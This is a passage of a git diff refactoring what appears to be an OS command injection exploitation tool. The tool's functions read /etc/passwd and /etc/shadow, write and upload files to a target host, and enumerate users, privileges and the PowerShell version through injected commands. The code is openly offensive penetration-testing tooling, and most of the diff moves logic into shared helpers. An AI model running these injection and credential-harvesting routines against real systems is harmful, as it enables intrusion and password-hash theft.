- print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL)
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n")
- output_file.close()
- # Check for appropriate '/etc/shadow' format.
- except IndexError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not "
- warn_msg += "in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- print(fields[0])
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + fields[0])
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.SHADOW_FILE + "' file."
- print(settings.print_warning_msg(warn_msg))
+ sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_passes(sys_passes, filename, _)
"""
Single os-shell execution
@@ -529,11 +262,25 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_
settings.ENUMERATION_DONE = True
if menu.options.users:
+ if settings.TARGET_OS == "win":
+ info_msg = "Executing the 'net users' command "
+ info_msg += "in order to enumerate users entries. "
+ else:
+ info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
+ info_msg += "' in order to enumerate users entries. "
+ print(settings.print_info_msg(info_msg))
system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.passwords:
- system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ if settings.TARGET_OS == "win":
+ check_option = "--passwords"
+ checks.unavailable_option(check_option)
+ else:
+ info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
+ info_msg += "' in order to enumerate users password hashes. "
+ print(settings.print_info_msg(info_msg))
+ system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
# eof
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
index c97d05ac54..1aafd5d945 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py
@@ -19,6 +19,7 @@
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
+from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.core.injections.semiblind.techniques.file_based import fb_injector
@@ -27,187 +28,84 @@
The "file-based" technique on semiblind OS command injection.
"""
-"""
-Read a file from the target host.
-"""
-def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
- file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode()
- info_msg = "Fetching content of the file: '"
- info_msg += file_to_read + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
- if settings.TARGET_OS == "win":
- cmd = settings.WIN_FILE_READ + file_to_read
- else:
- cmd = settings.FILE_READ + file_to_read
- if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
- # Command execution results.
- response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Evaluate injection results.
- shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
- shell = "".join(str(p) for p in shell)
- session_handler.store_cmd(url, cmd, shell, vuln_parameter)
- else:
- shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell:
- _ = "Fetched file content"
- print(settings.print_retrieved_data(_, shell))
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Extracted content of the file '"
- info_msg += file_to_read + "' : " + shell + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "It seems that you don't have permissions "
- warn_msg += "to read the content of the file '" + file_to_read + "'."
- print(settings.print_warning_msg(warn_msg))
-
"""
Write to a file on the target host.
"""
def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
- file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode()
- if not os.path.exists(file_to_write):
- warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist."
- print(settings.print_warning_msg(warn_msg))
- raise SystemExit()
-
- if os.path.isfile(file_to_write):
- with open(file_to_write, 'r') as content_file:
- content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
- content = "".join(str(p) for p in content).replace("'", "\"")
- if settings.TARGET_OS == "win":
- import base64
- content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode()
- else:
- warn_msg = "It seems that '" + file_to_write + "' is not a file."
- print(settings.print_warning_msg(warn_msg))
-
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
- else:
- dest_to_write = menu.options.file_dest
-
- info_msg = "Trying to write the content of the file '"
- info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'."
- print(settings.print_info_msg(info_msg))
-
- # Execute command
+ file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
- dest_to_write = dest_to_write.replace("\\","/")
- # Find path
- path = os.path.dirname(dest_to_write)
- path = path.replace("/","\\")
- # Change directory
- cmd = "cd " + path + separator +separator + " " + settings.WIN_COMMENT
+ cmd = checks.change_dir(dest_to_write)
+ cmd = cmd + separator + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Find filename
- filname = os.path.basename(dest_to_write)
- tmp_filname = "tmp_" + filname
- cmd = settings.FILE_WRITE + " " + content + ">" + tmp_filname + separator + " " + settings.WIN_COMMENT
+ fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content)
+ cmd = cmd + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- # Decode base 64 encoding
- cmd = "certutil -decode " + tmp_filname + " " + filname + separator + " " + settings.WIN_COMMENT
+ cmd = checks.win_decode_b64_enc(fname, tmp_fname)
+ cmd = cmd + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
- # Delete tmp file
- cmd = "del " + tmp_filname + separator + " " + settings.WIN_COMMENT
+ cmd = checks.delete_tmp(tmp_fname)
+ cmd = cmd + separator + settings.WIN_COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- #fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
- # Check if file exists
- cmd = "cmd /c if exist " + filname + " (echo " + filname + ")"
- dest_to_write = path + "\\" + filname
-
+ # cmd = "cmd /c if exist " + fname + " (echo " + fname + ")"
+ # dest_to_write = dest_to_write + "\\" + fname
+ cmd = checks.check_file(dest_to_write)
+ cmd = "cmd /c " + cmd
+ if not menu.options.alter_shell:
+ cmd = checks.quoted_cmd(cmd)
else:
- cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" + settings.COMMENT
+ cmd = checks.write_content(content, dest_to_write)
+ cmd = cmd + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
- # Check if file exists
- cmd = "echo $(ls " + dest_to_write + ")"
-
+ cmd = checks.check_file(dest_to_write)
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
- if shell:
- info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to write files on the remote direcoty '" + dest_to_write + "'."
- print(settings.print_warning_msg(warn_msg))
+ checks.file_write_status(shell, dest_to_write)
"""
Upload a file on the target host.
"""
def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
- if settings.TARGET_OS == "win":
- check_option = "--file-upload"
- checks.unavailable_option(check_option)
- pass
- else:
- file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode()
- # check if remote file exists.
- try:
- _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT)
- except _urllib.error.HTTPError as err_msg:
- warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")"
- print(settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
- except ValueError as err_msg:
- err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1]
- print(settings.print_critical_msg(err_msg))
- print(settings.SINGLE_WHITESPACE)
- raise SystemExit()
-
- # Check the file-destination
- if os.path.split(menu.options.file_dest)[1] == "" :
- dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
- elif os.path.split(menu.options.file_dest)[0] == "/":
- dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
- else:
- dest_to_upload = menu.options.file_dest
-
- info_msg = "Trying to upload the file from '"
- info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'."
- print(settings.print_info_msg(info_msg))
+ cmd, dest_to_upload = checks.check_file_to_upload()
+ response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
+ shell = "".join(str(p) for p in shell)
+ cmd = checks.check_file(dest_to_upload)
+ response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
+ shell = "".join(str(p) for p in shell)
+ checks.file_upload_status(shell, dest_to_upload)
- # Execute command
- cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
- response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
- shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
- shell = "".join(str(p) for p in shell)
-
- # Check if file exists!
- if settings.TARGET_OS == "win":
- cmd = "dir " + dest_to_upload + ")"
- else:
- cmd = "echo $(ls " + dest_to_upload + ")"
+"""
+Read a file from the target host.
+"""
+def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
+ cmd, file_to_read = checks.file_content_to_read()
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
- if shell:
- info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'."
- print(settings.print_bold_info_msg(info_msg))
- else:
- warn_msg = "It seems that you don't have permissions to upload files on the remote direcoty '" + dest_to_upload + "'."
- print(settings.print_warning_msg(warn_msg))
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
+ else:
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.file_read_status(shell, file_to_read, filename)
"""
Check the defined options
"""
def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
-
if menu.options.file_write:
file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.FILE_ACCESS_DONE = True
if menu.options.file_upload:
- file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
+ if settings.TARGET_OS == "win":
+ check_option = "--file-upload"
+ checks.unavailable_option(check_option)
+ else:
+ file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.FILE_ACCESS_DONE = True
if menu.options.file_read:
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index ed410bdc6c..9caa704547 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -32,7 +32,7 @@
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- # _ = False
+ _ = False
cmd = settings.PS_VERSION
if alter_shell:
cmd = cmd.replace("'","\\'")
@@ -45,25 +45,7 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
ps_version = output
- try:
- if float(ps_version):
- settings.PS_ENABLED = True
- ps_version = "".join(str(p) for p in output)
- # Output PowerShell's version number
- info_msg = "Powershell version: "
- info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- except ValueError:
- warn_msg = "Heuristics have failed to identify the version of Powershell, "
- warn_msg += "which means that some payloads or injection techniques may be failed."
- print("\n" + settings.print_warning_msg(warn_msg))
- settings.PS_ENABLED = False
+ checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
@@ -75,27 +57,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- if shell:
- shell = "".join(str(p) for p in output)
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Hostname: " + str(shell)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to identify the hostname."
- print(settings.print_warning_msg(warn_msg))
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_hostname(shell, filename, _)
"""
Retrieve system information
@@ -139,20 +106,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
target_arch = output
- if target_os and target_arch:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")"
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = info_msg + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch underlying operating system information."
- print(settings.print_warning_msg(warn_msg))
+ checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
@@ -164,26 +118,12 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ check_how_long, cu_account = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
_ = True
else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- cu_account = output
- if cu_account:
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- info_msg = "Current user: " + str(cu_account)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- info_msg = "Current user: " + str(cu_account) + "\n"
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- else:
- warn_msg = "Heuristics have failed to fetch the current user."
- print(settings.print_warning_msg(warn_msg))
+ cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_current_user(cu_account, filename, _)
"""
@@ -197,27 +137,12 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
- check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
- session_handler.store_cmd(url, cmd, output, vuln_parameter)
+ check_how_long, shell = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ session_handler.store_cmd(url, cmd, shell, vuln_parameter)
_ = True
else:
- output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- shell = output
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- _ = "True"
- if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
- (settings.TARGET_OS != "win" and shell != "0"):
- _ = "False"
-
- info_msg = "Current user has excessive privileges: " + str(_)
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
-
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
+ shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
+ checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
@@ -225,19 +150,11 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == settings.HTTPMETHOD.POST:
settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B")
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
-
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
@@ -250,234 +167,25 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_users = output
- # Windows users enumeration.
- if settings.TARGET_OS == "win":
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- sys.stdout.write(settings.SUCCESS_STATUS)
- sys_users_list = re.findall(r"(.*)", sys_users)
- sys_users_list = "".join(str(p) for p in sys_users_list).strip()
- sys_users_list = ' '.join(sys_users_list.split())
- sys_users_list = sys_users_list.split()
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " via 'net users' command."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- count = count + 1
- if menu.options.privileges:
- cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
- if alter_shell:
- cmd = cmd.replace("'","\\'")
- cmd = "cmd /c " + cmd
- response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
- check_privs = cb_injector.injection_results(response, TAG, cmd)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = re.findall(r"(.*)", check_privs)
- check_privs = "".join(str(p) for p in check_privs).strip()
- check_privs = check_privs.split()
- if "Admin" in check_privs[0]:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
- is_privileged_nh = " is admin user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" )
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
-
- # Unix-like users enumeration.
- else:
- try:
- if sys_users[0] :
- sys_users = "".join(str(p) for p in sys_users).strip()
- if len(sys_users.split(" ")) <= 1 :
- sys_users = sys_users.split("\n")
- else:
- sys_users = sys_users.split(" ")
- if settings.VERBOSITY_LEVEL == 0 and _:
- print(settings.SINGLE_WHITESPACE)
- # Check for appropriate '/etc/passwd' format.
- if len(sys_users) % 3 != 0 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
- warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users).strip()
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- sys_users_list = []
- for user in range(0, len(sys_users), 3):
- sys_users_list.append(sys_users[user : user + 3])
- if len(sys_users_list) != 0 :
- info_msg = "Identified " + str(len(sys_users_list))
- info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
- info_msg += " in '" + settings.PASSWD_FILE + "'."
- print(settings.print_bold_info_msg(info_msg))
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg)
- output_file.close()
- count = 0
- for user in range(0, len(sys_users_list)):
- sys_users = sys_users_list[user]
- sys_users = ":".join(str(p) for p in sys_users)
- count = count + 1
- fields = sys_users.split(":")
- fields1 = "".join(str(p) for p in fields)
- # System users privileges enumeration
- try:
- if not fields[2].startswith("/"):
- raise ValueError()
- if menu.options.privileges:
- if int(fields[1]) == 0:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
- is_privileged_nh = " is root user "
- elif int(fields[1]) > 0 and int(fields[1]) < 99 :
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
- is_privileged_nh = " is system user "
- elif int(fields[1]) >= 99 and int(fields[1]) < 65534 :
- if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
- is_privileged_nh = " is anonymous user "
- elif int(fields[1]) == 60002:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
- is_privileged_nh = " is non-trusted user "
- else:
- is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
- is_privileged_nh = " is regular user "
- else :
- is_privileged = ""
- is_privileged_nh = ""
- else :
- is_privileged = ""
- is_privileged_nh = ""
- print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.")
- # Add infos to logs file.
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" )
- output_file.close()
- except ValueError:
- if count == 1 :
- warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
- warn_msg += "appropriate format. Thus, it is expoted as a text file."
- print(settings.print_warning_msg(warn_msg))
- sys_users = " ".join(str(p) for p in sys_users.split(":"))
- print(sys_users)
- output_file = open(filename, "a")
- if not menu.options.no_logging:
- output_file.write(" " + sys_users)
- output_file.close()
- else:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "It seems that you don't have permissions to read the '"
- warn_msg += settings.PASSWD_FILE + "'."
- ptint(settings.print_warning_msg(warn_msg))
- except TypeError:
- pass
- except IndexError:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
- warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
- print(settings.print_warning_msg(warn_msg))
- pass
+ checks.print_users(sys_users, filename, _)
"""
System passwords enumeration
"""
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
- if settings.TARGET_OS == "win":
- check_option = "--passwords"
- checks.unavailable_option(check_option)
- pass
+ cmd = settings.SYS_PASSES
+ #print(settings.SINGLE_WHITESPACE)
+ if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
+ check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
+ _ = True
+ if output == False:
+ output = ""
+ session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
